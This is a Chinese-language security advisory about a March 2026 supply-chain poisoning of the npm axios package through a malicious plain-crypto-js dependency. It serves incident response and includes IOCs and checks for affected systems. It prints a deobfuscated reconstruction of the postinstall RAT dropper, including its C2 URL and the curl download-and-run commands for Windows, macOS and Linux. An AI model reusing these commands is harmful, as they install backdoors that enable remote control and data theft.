文章总结: 2026年3月31日,热门NPM库Axios遭投毒,攻击者利用窃取的维护者凭证发布了恶意版本。该攻击通过在依赖中引入后门组件plain-crypto-js,在安装时执行恶意代码,对macOS、Windows和Linux系统实施远程控制和信息窃取。目前恶意包已被下架,但需警惕相关版本并排查外联地址sfrclak.com及落地文件。 综合评分: 90 文章分类: 恶意软件,供应链安全,漏洞预警,网络安全,应用安全
NPM热门HTTP请求库 Axios 被投毒,攻击者植入后门
墨菲安全实验室 墨菲安全实验室
乌雲安全
2026年3月31日 14:19 重庆
一、概述
Axios 是广泛使用的 JavaScript HTTP 客户端库,npm 周下载量超过 8000 万。
2026 年 3 月 31 日,墨菲安全实验室检测到攻击者利用窃取的 Axios 维护者jasonsaayman的 npm Token,先发布了恶意的组件plain-crypto-js,然后在 npm 仓库发布了引入plain-crypto-js依赖的恶意版本axios。
当用户安装时会在受害主机上建立持久化远程控制通道,攻击者可窃取系统敏感信息并进行远控。
同时攻击者控制了Axios开发者的GitHub账号,用户反馈投毒的issue被大量删除。
相关投毒包目前已被官方下架,投毒组件如下:
| | | | | — | — | — | | 组件名 | 版本 | 发布时间 | | axios | 1.14.1 | 2026-03-31 08:21:58 | | axios | 0.30.4 | 2026-03-31 09:00:57 | | plain-crypto-js | 4.2.1 | 2026-03-31 07:59:12 |
二、投毒行为分析
1.源码分析
投毒版本的 axios 包在投毒版本的依赖中引入具有后门的 plain-crypto-js 包:
axios包的 package.json 文件
当用户安装受影响版本的 axios 包时会安装 plain-crypto-js 包,plain-crypto-js 组件在安装时会执行恶意的 setup.js 文件。
plain-crypto-js包的 package.json 文件
setup.js 文件是经过混淆的RAT投放器,目的是根据系统下载并执行不同的后门程序,实现远程控制和信息窃取。
setup.js 中的混淆恶意代码
反混淆后的核心代码:
'use strict';
// Deobfuscated, non-executing reconstruction of the original `setup.js`.// The original script is a malicious postinstall downloader. This version keeps// the control flow readable for analysis and intentionally does not execute the// payload, write staged files, or delete project files.
const path = require('path');
const C2_BASE_URL = 'http://sfrclak.com:8000/';const DEFAULT_PACKAGE_ID = '6202033';
const PLATFORM_DARWIN = 'darwin';const PLATFORM_WIN32 = 'win32';
const POWERSHELL_DISCOVERY_COMMAND = 'where powershell';const WINDOWS_POWERSHELL_COPY_NAME = 'wt.exe';const WINDOWS_POWERSHELL_SCRIPT_SUFFIX = '.ps1';const WINDOWS_VBS_SUFFIX = '.vbs';const MAC_STAGE_PATH = '/Library/Caches/com.apple.act.mond';const GENERIC_STAGE_PATH = '/tmp/ld.py';const RESTORED_PACKAGE_JSON = 'package.json';const HIDDEN_PACKAGE_JSON = 'package.md';
const WINDOWS_VBS_TEMPLATE = `Set objShell = CreateObject("WScript.Shell")objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" & del ""PS_PATH"" /f", 0, False`.trim();
const WINDOWS_LAUNCH_TEMPLATE = 'cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f';
const MAC_APPLESCRIPT_TEMPLATE = `set {a, s, d} to {"", "SCR_LINK", "/Library/Caches/com.apple.act.mond"} try do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \\"" & d & " " & s & " &\\\" &> /dev/null" end trydo shell script "rm -rf LOCAL_PATH"`.trim();
const MAC_LAUNCH_TEMPLATE = 'nohup osascript "LOCAL_PATH" > /dev/null 2>&1 &';
const GENERIC_LAUNCH_TEMPLATE = 'curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &';
function buildPayloadUrl(packageId = DEFAULT_PACKAGE_ID) { return `${C2_BASE_URL}${packageId}`;}
function buildMacBehavior(packageId = DEFAULT_PACKAGE_ID) { const payloadUrl = buildPayloadUrl(packageId); const tempAppleScriptPath = path.posix.join('/tmp', packageId); const stagedAppleScript = MAC_APPLESCRIPT_TEMPLATE .replaceAll('SCR_LINK', payloadUrl) .replaceAll('LOCAL_PATH', tempAppleScriptPath); const launchCommand = MAC_LAUNCH_TEMPLATE.replaceAll('LOCAL_PATH', tempAppleScriptPath); return { platform: PLATFORM_DARWIN, payloadUrl, tempAppleScriptPath, stagedPayloadPath: MAC_STAGE_PATH, stagedAppleScript, launchCommand, originalActions: [ `write AppleScript to ${tempAppleScriptPath}`, `download payload to ${MAC_STAGE_PATH} with POST body "packages.npm.org/product0"`, `chmod 770 ${MAC_STAGE_PATH}`, `launch ${MAC_STAGE_PATH} ${payloadUrl} in the background`, `delete ${tempAppleScriptPath}`, ], };}
2.针对不同系统的攻击链路
2-1、macOS系统
- 写入 AppleScript → 静默执行
- 连接 C2:http://sfrclak.com:8000/6202033
- 下载 macOS RAT 二进制:/Library/Caches/com.apple.act.mond
2-2、Windows系统
- 查找 PowerShell 路径
- 复制为持久化程序:%PROGRAMDATA%\wt.exe
- 写入并执行 VBScript
- curl 下载 PowerShell RAT:%TEMP%\6202033.ps1
2-3、Linux 攻击链
- 直接执行 shell 命令
- 连接 C2 下载 Python RAT:/tmp/ld.py
- 后台运行
三、IOC
外联地址:
- sfrclak.com
- 142.11.206.73
四、排查方式
axios组件使用量较大,建议通过以下方式排查:
- 排查是否有针对sfrclak.com、142.11.206.73的外联请求;
- 排查是否存在如下版本依赖,重点排查2026-03-31开始构建的项目:
| | | | — | — | | 组件名 | 版本 | | axios | 1.14.1 | | axios | 0.30.4 | | plain-crypto-js | 4.2.1 |
- 检查是否有恶意落地后门文件
1. macOS/Library/Caches/com.apple.act.mond
2. Linux/tmp/ld.py
3. Windows%PROGRAMDATA%\wt.exe
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:乌雲安全 墨菲安全实验室 墨菲安全实验室《NPM热门HTTP请求库 Axios 被投毒,攻击者植入后门》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论